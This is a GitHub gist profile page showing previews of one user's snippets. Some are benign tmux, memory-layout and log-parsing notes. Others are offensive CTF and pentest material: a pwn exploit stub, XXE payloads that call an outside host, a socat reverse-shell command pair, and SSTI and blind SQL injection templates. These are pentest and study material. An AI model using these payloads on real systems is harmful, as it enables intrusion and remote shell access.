Skip to content

Instantly share code, notes, and snippets.

View rhamaa's full-sized avatar
🏠
Working from home

Muh. Fani Akbar rhamaa

🏠
Working from home
View GitHub Profile
@rhamaa
rhamaa / baby.py
Created October 30, 2017 09:24 — forked from 0xPwny/baby.py
BackdoorCTF 2017 - PWN - BABY-0x41414141
from pwn import *
from libformatstr import *
file = ELF("./32_new")
flag = 0x0804870b
r = remote("163.172.176.29",9035)
r.recvuntil("name?")
@rhamaa
rhamaa / tmux.md
Created January 5, 2018 03:19 — forked from andreyvit/tmux.md
tmux cheatsheet

tmux cheat sheet

(C-x means ctrl+x, M-x means alt+x)

Prefix key

The default prefix is C-b. If you (or your muscle memory) prefer C-a, you need to add this to ~/.tmux.conf:

remap prefix to Control + a

@rhamaa
rhamaa / memory_layout.md
Created January 29, 2018 08:34 — forked from CMCDragonkai/memory_layout.md
Linux: Understanding the Memory Layout of Linux Executables

Understanding the Memory Layout of Linux Executables

Required tools for playing around with memory:

  • hexdump
  • objdump
  • readelf
  • xxd
  • gcore
@rhamaa
rhamaa / XXE_payloads
Created June 6, 2018 17:02 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
global _start
section .data
aa db '1234567890a',0
len equ $-aa
section .text
@rhamaa
rhamaa / search.py
Created July 9, 2019 03:26
SSTI Search
# search.py
# Source https://ctftime.org/writeup/10851
def search(obj, max_depth):
visited_clss = []
visited_objs = []
def visit(obj, path='obj', depth=0):
yield path, obj
@rhamaa
rhamaa / pet-snippet.toml
Last active April 19, 2024 00:13
description
[[snippets]]
description = "Python PTY Bash"
command = "python -c 'import pty; pty.spawn(\"/bin/bash\")'"
output = "\"\""
[[snippets]]
description = "[Reverse Shell] Socat Reverse Shell"
command = "socat file:`tty`,raw,echo=0 tcp-listen:<PORT=4444> #Listener socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<HOST>:<PORT=4444> #Victim"
output = "\"\""
@rhamaa
rhamaa / apache2_logs_parse.py
Created May 13, 2021 14:06
read apache logs using pandas
# Source : https://mmas.github.io/read-apache-access-log-pandas
# https://mmas.github.io/analyze-apache-access-log-pandas
import re
import pandas as pd
from datetime import datetime
import pytz
from IPython import embed
@rhamaa
rhamaa / retention_delete_s3.sh
Created June 15, 2021 08:21
Retention delete bash script S3
# Source : https://stackoverflow.com/questions/50467698/how-to-delete-files-older-than-7-days-in-s3
aws s3 ls BUCKETNAME/ | while read -r line;
do
createDate=`echo $line|awk {'print $1" "$2'}`
createDate=`date -d"$createDate" +%s`
olderThan=`date --date "7 days ago" +%s`
if [[ $createDate -lt $olderThan ]]
then
fileName=`echo $line|awk {'print $4'}`
@rhamaa
rhamaa / sqli_exp_binary_search_string.py
Created July 11, 2021 13:12 — forked from waderwu/sqli_exp_binary_search_string.py
sqli blind binary search template
#!/usr/bin/env python3
import requests
client = requests.Session()
debug = False
def post(url, data, headers=None, proxy=False):
if not headers:
headers = {}
headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'